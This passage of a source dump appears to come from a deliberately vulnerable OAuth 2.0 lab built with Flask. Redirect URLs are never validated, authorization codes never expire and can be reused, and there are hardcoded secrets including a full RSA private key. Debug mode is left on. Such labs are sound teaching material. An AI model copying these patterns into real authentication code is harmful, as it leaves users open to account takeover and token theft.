118 | #app.run(port = 5000, debug = True, ssl_context = context) 119 | app.run(port = 5001, host='0.0.0.0', debug = True) 120 | -------------------------------------------------------------------------------- /code/auth_server/\: -------------------------------------------------------------------------------- 1 | import json 2 | #import ssl 3 | from urllib.parse import urlparse, parse_qsl, urlunparse, urlencode 4 | from werkzeug.security import generate_password_hash, check_password_hash 5 | 6 | from auth import (authenticate_user_credentials, authenticate_client, 7 | generate_access_token, generate_authorization_code, 8 | verify_authorization_code, verify_client_info, 9 | JWT_LIFE_SPAN) 10 | from flask import Flask, redirect, render_template, request,jsonify 11 | from cryptography.fernet import Fernet 12 | 13 | KEY = b'YHD1m3rq3K-x6RxT1MtuGzvyLz4EWIJAEkRtBRycDHA=' 14 | 15 | app = Flask(__name__) 16 | app.config["DEBUG"] = True 17 | app.config['SECRET_KEY'] = 'pavankumar' 18 | 19 | # client = MongoClient('127.0.0.1:27017') 20 | # # db = client.OAuth 21 | 22 | f = Fernet(KEY) 23 | 24 | @app.route('/auth') 25 | def auth(): 26 | # Describe the access request of the client and ask user for approval 27 | client_id = request.args.get('client_id') 28 | redirect_url = request.args.get('redirect_url') 29 | 30 | if None in [ client_id, redirect_url ]: 31 | return json.dumps({ 32 | "error": "invalid_request" 33 | }), 400 34 | 35 | if not verify_client_info(client_id, redirect_url): 36 | return json.dumps({ 37 | "error": "invalid_client" 38 | }) 39 | 40 | return render_template('AC_grant_access.html', 41 | client_id = client_id, 42 | redirect_url = redirect_url) 43 | 44 | def process_redirect_url(redirect_url, authorization_code): 45 | # Prepare the redirect URL 46 | url_parts = list(urlparse(redirect_url)) 47 | queries = dict(parse_qsl(url_parts[4])) 48 | queries.update({ "authorization_code": authorization_code }) 49 | url_parts[4] = urlencode(queries) 50 | url = urlunparse(url_parts) 51 | return url 52 | 53 | @app.route('/signin', methods = ['POST']) 54 | def signin(): 55 | # Issues authorization code 56 | username = request.form.get('username') 57 | password = request.form.get('password') 58 | client_id = request.form.get('client_id') 59 | redirect_url = request.form.get('redirect_url') 60 | 61 | if None in [ username, password, client_id, redirect_url ]: 62 | return json.dumps({ 63 | "error": "invalid_request" 64 | }), 400 65 | 66 | if not verify_client_info(client_id, redirect_url): 67 | return json.dumps({ 68 | "error": "invalid_client" 69 | }) 70 | 71 | if not authenticate_user_credentials(username, password): 72 | # return data 73 | return json.dumps({ 74 | 'error': 'access_denied' 75 | }), 401 76 | 77 | authorization_code = generate_authorization_code(client_id, username) 78 | 79 | url = process_redirect_url(redirect_url, authorization_code) 80 | 81 | return redirect(url, code = 303) 82 | 83 | @app.route('/token', methods = ['POST']) 84 | def exchange_for_token(): 85 | # Issues access token 86 | authorization_code = request.form.get('authorization_code') 87 | client_id = request.form.get('client_id') 88 | client_secret = request.form.get('client_secret') 89 | redirect_url = request.form.get('redirect_url') 90 | 91 | if None in [ authorization_code, client_id, client_secret, redirect_url ]: 92 | return json.dumps({ 93 | "error": "invalid_request" 94 | }), 400 95 | 96 | if not authenticate_client(client_id, client_secret): 97 | return json.dumps({ 98 | "error": "invalid_client" 99 | }), 400 100 | 101 | data = verify_authorization_code(authorization_code, client_id, redirect_url) 102 | if data == "False": 103 | return json.dumps({ 104 | "error": "access_denied" 105 | }), 400 106 | access_token = generate_access_token(data) 107 | 108 | return json.dumps({ 109 | "access_token": access_token.decode(), 110 | "token_type": "JWT", 111 | "expires_in": JWT_LIFE_SPAN 112 | }) 113 | 114 | 115 | if __name__ == '__main__': 116 | #context = ssl.SSLContext(ssl.PROTOCOL_TLSv1_2) 117 | #context.load_cert_chain('domain.crt', 'domain.key') 118 | #app.run(port = 5000, debug = True, ssl_context = context) 119 | app.run(port = 5001, host='0.0.0.0', debug = True) 120 | -------------------------------------------------------------------------------- /code/auth_server/__pycache__/auth.cpython-36.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/topavankumarj/Vulnerable-OAuth2.0-Application/a4b01437cbb43276571e75a7c883c8439fc4bc31/code/auth_server/__pycache__/auth.cpython-36.pyc -------------------------------------------------------------------------------- /code/auth_server/__pycache__/auth.cpython-37.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/topavankumarj/Vulnerable-OAuth2.0-Application/a4b01437cbb43276571e75a7c883c8439fc4bc31/code/auth_server/__pycache__/auth.cpython-37.pyc -------------------------------------------------------------------------------- /code/auth_server/auth.py: -------------------------------------------------------------------------------- 1 | import base64 2 | import cryptography 3 | import json 4 | import jwt 5 | import secrets 6 | import time 7 | from werkzeug.security import generate_password_hash, check_password_hash 8 | from pymongo import MongoClient 9 | 10 | from cryptography.fernet import Fernet 11 | 12 | #KEY = Fernet.generate_key() 13 | KEY = b'YHD1m3rq3K-x6RxT1MtuGzvyLz4EWIJAEkRtBRycDHA=' 14 | 15 | ISSUER = 'sample-auth-server' 16 | CODE_LIFE_SPAN = 600 17 | JWT_LIFE_SPAN = 1800 18 | 19 | client = MongoClient('db_mongo:27017') 20 | db = client.OAuth 21 | 22 | authorization_codes = {} 23 | 24 | f = Fernet(KEY) 25 | 26 | with open('/OAuth_Vuln/auth_server/private.pem', 'rb') as file: 27 | private_key = file.read() 28 | 29 | def authenticate_user_credentials(username, password): 30 | data = db.Register.find_one({"Email":username}) 31 | print(data) 32 | if data: 33 | authenticated = check_password_hash(data.get('Password'), password) 34 | if not authenticated: 35 | # data = {"error":"Invaid creds!"} 36 | return False 37 | else: 38 | return True 39 | # token = jwt.encode({"ID":data.get('ID', None).encode('utf-8'), "exp":datetime.datetime.utcnow()+datetime.timedelta(minutes=30)}, key=app.config["SECRET_KEY"],algorithm='HS256') 40 | # data = {"token":token.decode("utf-8")} 41 | # return data 42 | else: 43 | # data = {"error":"No user found!"} 44 | return False 45 | # data = {"message":"Invalid Credentials"} 46 | return False 47 | 48 | def authenticate_client(client_id, client_secret): 49 | # print("Client_ID ==>" , client_id , "Client Scret==>",client_secret) 50 | data = db.Oauth2_cred.find_one({"Client_ID":client_id}) 51 | # print(data.get) 52 | if data.get('Client_Secret') == client_secret: 53 | return True 54 | else: 55 | return False 56 | # if data: 57 | 58 | 59 | def verify_client_info(client_id, redirect_url): 60 | return True 61 | 62 | def generate_access_token(data): 63 | payload = { 64 | "username":data, 65 | "iss": ISSUER, 66 | "exp": time.time() + JWT_LIFE_SPAN 67 | } 68 | 69 | access_token = jwt.encode(payload, private_key, algorithm = 'RS256') 70 | 71 | return access_token 72 | 73 | def generate_authorization_code(client_id, username): 74 | #f = Fernet(KEY) 75 | authorization_code = f.encrypt(json.dumps({ 76 | "username":username, 77 | "client_id": client_id, 78 | }).encode()) 79 | 80 | authorization_code = base64.b64encode(authorization_code, b'-_').decode().replace('=', '') 81 | 82 | expiration_date = time.time() + CODE_LIFE_SPAN 83 | 84 | authorization_codes[authorization_code] = { 85 | "username":username, 86 | "client_id": client_id, 87 | "exp": expiration_date 88 | } 89 | 90 | return authorization_code 91 | 92 | def verify_authorization_code(authorization_code, client_id): 93 | #f = Fernet(KEY) 94 | record = authorization_codes.get(authorization_code) 95 | if not record: 96 | data = "False" 97 | return data 98 | 99 | client_id_in_record = record.get('client_id') 100 | username_in_record = record.get('username') 101 | exp = record.get('exp') 102 | 103 | if client_id != client_id_in_record: 104 | data = "False" 105 | return data 106 | 107 | # if exp < time.time(): 108 | # data = "False" 109 | # return data 110 | 111 | # del authorization_codes[authorization_code] 112 | 113 | # return True 114 | return username_in_record 115 | -------------------------------------------------------------------------------- /code/auth_server/private.pem: -------------------------------------------------------------------------------- 1 | -----BEGIN RSA PRIVATE KEY----- 2 | MIIEoAIBAAKCAQEAqt6NInZQ8Ty9wfprXhPxG16zV7Svd2DhJ3j6ZS/zfkThSeuo 3 | 11fTcoxt8MaI5orORQDfRKLtwlYd9KnDR93YI6JFyPDEzAoXkW9RRig2NiOHoOR3 4 | 68mu7NbA2R3F8jqIER42R24/AKUTkU9LPjusKZBUcADImLg9698GM5125x2s4j2U 5 | +T68jERRO4iEIPG9dVK98Y+vZ8XN29kb4AOKOtkO4ZFCrN2R6GbpvACShgczMgxg 6 | b4q3BZnB/RVkRFv4sW0AdO5jie7WKpP8XHeT3eifdt77uhoLjUSvpqs6VLYAc9xE 7 | pxCmzu63XNqVV7S8Qnzs05wyJk5LytdtEnnHXwIDAQABAoIBAH76D6uyfQgoeWNz 8 | cuJgs2YBhAkDTvnJ1sf8kScs8Se+jCTgqYIN1CZl0TWCdC3OrOZ+dWyOH12xnWU5 9 | 2tLHO12Ps4hV1AlE3qrHLICUVWT6FkosPinMoN+D35/5Diap9H+0EeYXOV6DTf1I 10 | DcRbl97zUKxDCM7k668i93rX44pvPisuT6bWPHjId465pv2lXx1xP//8c3hlTcF+ 11 | lzAsHqhUZYFhw8XcBeItzza5H2h/ePpbN62u6b5n5PFYmoOpRrNnyGrx3JS03+N+ 12 | NFfhGkB87IjJdjwGtUWBSTDYem7Jktuv8nqZOMJ7LZpuORt1iEkDx4UZN24M/Cy6 13 | ePN8HlECgYEA1NRAXlDQAa98L5qXhONF3pqSAvbIlI3uYJhnGbGwcYnvmjzPy/VW 14 | fp672VfSl79ZgoBJTbOGxRL2YS8RkxlB3pmzGd7DnkGqduWhesePRhBp9dFFi5GG 15 | T2C4MlB//Hg6JEWsNuJToYLfFf6UeP2gh0DnMtIwCTGlc3F+RMcirIsCgYEAzYdr 16 | 2Nhci9Uyb6jnYRPpg6aTSTZ9Hisno7oHekFmDrDf9p2sgWO1kJcTkMsUCHSUGBGb 17 | cyd2/a8NdPZFcH1+JsSGQG/Ib3D8iMW64hmtjptCBND/J90nCQMFFF/9Xfi4sz88 18 | RNfB/yYL80wmiEomBGxSeP/k7fi50oFeFvK+Bv0CgYA0kekEYvm+MNZ/+7OJg4ny 19 | nkOKr+KDrzs+aOaulhF7OhMRCgxZ2NPwmszTtrmx+fXmIkH5C2syqqhpAPNaXlbC 20 | 4Tw4G6o+IQI2NCpa5YgiSlOiAHspKlz+pmlZJEE434mdBAix1d3Ke0UXbbbG2/8W 21 | 6ZUyHHD5FGZFybbizj1mWQKBgGXXRo9KloELgVRm40/tJ/Z+IdlTUKgURi4Qzge8 22 | RC/fYPq4onPyzlL5KU7D8gdGjONoRhjHY2TMyuQ766iT5mCbXNKtESp3WAsFv1at 23 | 1pwlPo9YaDZ+lQsYHfo8njVkO1FGcjzClHQzjBRglW9PHotuiWc/lVZ9usYeKFtC 24 | qPqZAn8hxKv+PXKp7wykDKJFw2+k3Ask/dBF9lPH9EqGKbyiX3w848txLixRu1r8 25 | Zp/P34Wq1UekJrxBU+Qes6IDTgnUDthhEdOtwrtfBe++wqAclVz7fd6BPEHUKmhu 26 | XsxGuWoTyvadcwQ2dCqaoAA5WQ0nvlXj8vYaTtjC9gbpt8w7 27 | -----END RSA PRIVATE KEY----- 28 | -------------------------------------------------------------------------------- /code/auth_server/templates/AC_grant_access.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | Grant Access 5 | 6 | 7 |
8 | 9 |

CoolMart is requesting access to your account:

10 |

Sign in to grant access.

11 |
12 |

Username:

13 | 14 |

Password:

15 | 16 | 17 | 18 |

19 | 20 |

21 |
22 |
23 | 24 | 25 | -------------------------------------------------------------------------------- /code/client/AC_client.py: -------------------------------------------------------------------------------- 1 | import json 2 | import requests 3 | #import ssl 4 | 5 | from flask import (Flask, make_response, render_template, redirect, request, 6 | url_for) 7 | 8 | AUTH_PATH = 'http://localhost:5001/auth' 9 | TOKEN_PATH = 'http://localhost:5001/token' 10 | RES_PATH = 'http://localhost:5002/user_details' 11 | REDIRECT_URL = 'http://localhost:5000/callback' 12 | 13 | CLIENT_ID = 'testing.com' 14 | CLIENT_SECRET = 'dXg3cEpEazVKQVpYYmMxZDBmYzAtZjc4My00NzgzLTg3OGYtNGUzZjQwYzRjOTU3' 15 | 16 | app = Flask(__name__) 17 | 18 | @app.before_request 19 | def before_request(): 20 | # Redirects user to the login page if access token is not present 21 | if request.endpoint not in ['login', 'callback']: 22 | access_token = request.cookies.get('access_token') 23 | if access_token: 24 | pass 25 | else: 26 | return redirect(url_for('login')) 27 | 28 | @app.route('/') 29 | def main(): 30 | # Retrieves a list of users 31 | access_token = request.cookies.get('access_token') 32 | 33 | r = requests.get(RES_PATH, headers = { 34 | 'Authorization': 'Bearer {}'.format(access_token) 35 | }) 36 | 37 | if r.status_code != 200: 38 | return json.dumps({ 39 | 'error': 'The resource server returns an error: \n{}'.format( 40 | r.text) 41 | }), 500 42 | print(r.text) 43 | print('*'*100) 44 | users_details = json.loads(r.text).get('results') 45 | print('users_details ==============> ',users_details) 46 | for cli in users_details: 47 | print('user deta in for',cli) 48 | 49 | return render_template('user_details.html', users_details = users_details) 50 | 51 | @app.route('/login') 52 | def login(): 53 | # Presents the login page 54 | return render_template('AC_login.html', 55 | dest = AUTH_PATH, 56 | client_id = CLIENT_ID, 57 | redirect_url = REDIRECT_URL) 58 | 59 | @app.route('/callback') 60 | def callback(): 61 | # Accepts the authorization code and exchanges it for access token 62 | authorization_code = request.args.get('authorization_code') 63 | 64 | if not authorization_code: 65 | return json.dumps({ 66 | 'error': 'No authorization code is received.' 67 | }), 500 68 | 69 | r = requests.post(TOKEN_PATH, data = { 70 | "grant_type": "authorization_code", 71 | "authorization_code": authorization_code, 72 | "client_id" : CLIENT_ID, 73 | "client_secret" : CLIENT_SECRET, 74 | "redirect_url": REDIRECT_URL 75 | }) 76 | 77 | if r.status_code != 200: 78 | return json.dumps({ 79 | 'error': 'The authorization server returns an error: \n{}'.format( 80 | r.text) 81 | }), 500 82 | 83 | access_token = json.loads(r.text).get('access_token') 84 | 85 | response = make_response(redirect(url_for('main'))) 86 | response.set_cookie('access_token', access_token) 87 | return response 88 | 89 | 90 | if __name__ == '__main__': 91 | #context = ssl.SSLContext(ssl.PROTOCOL_TLSv1_2) 92 | #context.load_cert_chain('domain.crt', 'domain.key') 93 | #app.run(port = 5000, debug = True, ssl_context = context) 94 | app.run(port = 5000, host='0.0.0.0', debug = True) 95 | -------------------------------------------------------------------------------- /code/client/public.pem: -------------------------------------------------------------------------------- 1 | -----BEGIN PUBLIC KEY----- 2 | MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAqt6NInZQ8Ty9wfprXhPx 3 | G16zV7Svd2DhJ3j6ZS/zfkThSeuo11fTcoxt8MaI5orORQDfRKLtwlYd9KnDR93Y 4 | I6JFyPDEzAoXkW9RRig2NiOHoOR368mu7NbA2R3F8jqIER42R24/AKUTkU9LPjus 5 | KZBUcADImLg9698GM5125x2s4j2U+T68jERRO4iEIPG9dVK98Y+vZ8XN29kb4AOK 6 | OtkO4ZFCrN2R6GbpvACShgczMgxgb4q3BZnB/RVkRFv4sW0AdO5jie7WKpP8XHeT 7 | 3eifdt77uhoLjUSvpqs6VLYAc9xEpxCmzu63XNqVV7S8Qnzs05wyJk5LytdtEnnH 8 | XwIDAQAB 9 | -----END PUBLIC KEY----- 10 | -------------------------------------------------------------------------------- /code/client/templates/AC_login.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | Sign in 5 | 6 | 7 |
8 | 9 |

10 | 11 | Sign in with Authorization Server 12 |

13 |
14 | 15 | 16 | -------------------------------------------------------------------------------- /code/client/templates/user_details.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | User Details (Web Application) 5 | 6 | 7 |
8 | 9 |

User Details

10 |
11 | 12 | {% for cli in users_details %} 13 | 14 | 15 | 16 | 17 | 18 | 19 | 20 | 21 | 22 | 23 | 24 | 25 | 26 | 27 | 28 | 29 | 30 | 31 | 32 | {% endfor %} 33 |
Name
{{ cli['Name'] }}
Email
{{ cli['Email'] }}
User UUID
{{ cli['UUID'] }}
34 |
35 |
36 | 37 | 38 | -------------------------------------------------------------------------------- /code/client/templates/users.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | Resource Owner Password Credentials Client (Web Application) 5 | 6 | 7 |

Available Users

8 |
9 | 10 | 11 | 12 | 13 | 14 | {% for user in users %} 15 | 16 | 17 | 18 | 19 | {% endfor %} 20 |
NameEmail
{{ user['Name'] }}{{ user['email'] }}
21 |
22 | 23 | -------------------------------------------------------------------------------- /requirements.txt: -------------------------------------------------------------------------------- 1 | asn1crypto==0.24.0 2 | certifi==2019.3.9 3 | cffi==1.12.2 4 | chardet==3.0.4 5 | Click==7.0 6 | cryptography==2.6.1 7 | Flask==1.0.2 8 | idna==2.8 9 | itsdangerous==1.1.0 10 | Jinja2==2.10.1 11 | jwt==0.6.1 12 | MarkupSafe==1.1.1 13 | pkg-resources==0.0.0 14 | pycparser==2.19 15 | PyJWT==1.7.1 16 | pymongo==3.7.2 17 | pyOpenSSL==19.0.0 18 | requests==2.21.0 19 | six==1.12.0 20 | urllib3==1.24.1 21 | Werkzeug==0.15.2 22 | --------------------------------------------------------------------------------